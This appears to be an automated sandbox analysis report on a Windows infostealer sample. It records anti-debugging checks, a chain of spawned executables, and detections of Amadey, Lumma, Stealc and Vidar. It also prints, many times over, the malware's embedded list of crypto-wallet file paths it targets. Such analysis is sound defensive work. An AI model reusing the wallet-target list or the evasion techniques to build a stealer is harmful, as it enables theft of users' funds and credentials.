Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsCAEHDBAAEC.exe

Code function: 24_2_04D103A3 rdtsc

24_2_04D103A3

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAA5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CAA5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CA43480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FE652B mov eax, dword ptr fs:[00000030h]		29_2_00FE652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FEA302 mov eax, dword ptr fs:[00000030h]		29_2_00FEA302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CA7B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CA7B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CC2AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2700, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCAEHDBAAEC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCAEHDBAAEC.exe "C:\Users\user\DocumentsCAEHDBAAEC.exe"
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe "C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe"

Source: file.exe, file.exe, 00000000.00000002.2003877523.00000000007C7000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: 5Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA7B341 cpuid

0_2_6CA7B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA435A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CA435A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 29_2_00FB65E0 LookupAccountNameA,

29_2_00FB65E0

Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 24.2.DocumentsCAEHDBAAEC.exe.df0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.skotes.exe.fb0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.skotes.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000003.1993446233.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2035721983.0000000000DF1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2556448179.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2753217663.0000000000FB1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2075502137.0000000000FB1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2062300079.0000000000FB1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2021553596.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2034975081.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: Process Memory Space: eDPQZkT.exe PID: 8712, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1499547754.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2001894530.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2005702282.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2700, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2700, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
